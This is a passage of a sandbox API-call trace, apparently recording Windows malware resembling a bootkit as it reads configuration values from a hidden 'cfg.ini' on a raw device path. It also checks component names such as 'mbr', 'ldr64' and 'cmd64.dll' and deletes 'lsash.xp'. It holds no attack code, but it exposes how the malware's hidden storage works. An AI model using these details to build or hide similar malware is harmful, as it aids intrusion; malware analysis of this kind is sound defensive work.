0xfffffa8007ffba30 [0128.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.634] IdePortDispatch () returned 0x103 [0128.634] KeWaitForMutexObject () returned 0x0 [0128.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.634] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.634] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.634] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.634] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.634] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe510 [0128.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.634] KeLeaveCriticalRegion () [0128.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.635] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.635] KeEnterCriticalRegion () [0128.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.635] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.635] KeLeaveCriticalRegion () [0128.635] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.635] KeEnterCriticalRegion () [0128.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.635] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.635] IdePortDispatch () returned 0x103 [0128.635] KeWaitForMutexObject () returned 0x0 [0128.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.635] KeLeaveCriticalRegion () [0128.635] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.635] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.635] KeEnterCriticalRegion () [0128.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ec000 [0128.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.635] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.635] IdePortDispatch () returned 0x103 [0128.635] KeWaitForMutexObject () returned 0x0 [0128.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.636] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.636] IdePortDispatch () returned 0x103 [0128.636] KeWaitForMutexObject () returned 0x0 [0128.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.636] KeLeaveCriticalRegion () [0128.636] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.636] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.636] KeEnterCriticalRegion () [0128.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.636] KeLeaveCriticalRegion () [0128.637] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.637] KeEnterCriticalRegion () [0128.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.637] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] KeLeaveCriticalRegion () [0128.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.637] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.637] KeEnterCriticalRegion () [0128.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] ExFreePoolWithTag (P=0xfffffa8003bfe510, Tag=0x0) [0128.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] KeLeaveCriticalRegion () [0128.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.637] ReleaseMutex (hMutex=0xf0) returned 1 [0128.637] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.637] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.637] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.637] KeEnterCriticalRegion () [0128.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.637] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.637] IdePortDispatch () returned 0x103 [0128.637] KeWaitForMutexObject () returned 0x0 [0128.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0128.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.637] KeLeaveCriticalRegion () [0128.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.638] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.638] KeEnterCriticalRegion () [0128.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.638] KeLeaveCriticalRegion () [0128.638] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.638] KeEnterCriticalRegion () [0128.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.638] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.638] IdePortDispatch () returned 0x103 [0128.638] KeWaitForMutexObject () returned 0x0 [0128.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.638] KeLeaveCriticalRegion () [0128.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.638] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.638] KeEnterCriticalRegion () [0128.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ed000 [0128.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.638] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.638] IdePortDispatch () returned 0x103 [0128.638] KeWaitForMutexObject () returned 0x0 [0128.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.639] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.639] IdePortDispatch () returned 0x103 [0128.639] KeWaitForMutexObject () returned 0x0 [0128.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.639] KeLeaveCriticalRegion () [0128.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.639] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.639] KeEnterCriticalRegion () [0128.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.639] KeLeaveCriticalRegion () [0128.640] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.640] KeEnterCriticalRegion () [0128.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.640] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] KeLeaveCriticalRegion () [0128.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.640] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.640] KeEnterCriticalRegion () [0128.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0128.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] KeLeaveCriticalRegion () [0128.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.640] ReleaseMutex (hMutex=0xf0) returned 1 [0128.640] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.640] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.640] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.640] KeEnterCriticalRegion () [0128.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.640] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.640] IdePortDispatch () returned 0x103 [0128.640] KeWaitForMutexObject () returned 0x0 [0128.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00db0 [0128.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.640] KeLeaveCriticalRegion () [0128.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.641] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.641] KeEnterCriticalRegion () [0128.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.641] KeLeaveCriticalRegion () [0128.641] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.641] KeEnterCriticalRegion () [0128.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.641] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.641] IdePortDispatch () returned 0x103 [0128.641] KeWaitForMutexObject () returned 0x0 [0128.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.641] KeLeaveCriticalRegion () [0128.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.641] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.641] KeEnterCriticalRegion () [0128.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ee000 [0128.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.641] IdePortDispatch () returned 0x103 [0128.641] KeWaitForMutexObject () returned 0x0 [0128.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.642] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.642] IdePortDispatch () returned 0x103 [0128.642] KeWaitForMutexObject () returned 0x0 [0128.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.642] KeLeaveCriticalRegion () [0128.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.642] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.642] KeEnterCriticalRegion () [0128.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.642] KeLeaveCriticalRegion () [0128.642] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.642] KeEnterCriticalRegion () [0128.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.643] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.643] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.643] KeLeaveCriticalRegion () [0128.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.643] KeEnterCriticalRegion () [0128.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.643] ExFreePoolWithTag (P=0xfffffa8003c00db0, Tag=0x0) [0128.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.643] KeLeaveCriticalRegion () [0128.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.643] ReleaseMutex (hMutex=0xf0) returned 1 [0128.643] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.643] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.643] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.643] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.643] KeEnterCriticalRegion () [0128.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.643] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.643] IdePortDispatch () returned 0x103 [0128.643] KeWaitForMutexObject () returned 0x0 [0128.643] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.643] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.643] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.643] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.643] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.643] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.643] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.643] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.643] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.643] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.644] KeLeaveCriticalRegion () [0128.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.644] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.644] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.644] KeEnterCriticalRegion () [0128.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.644] 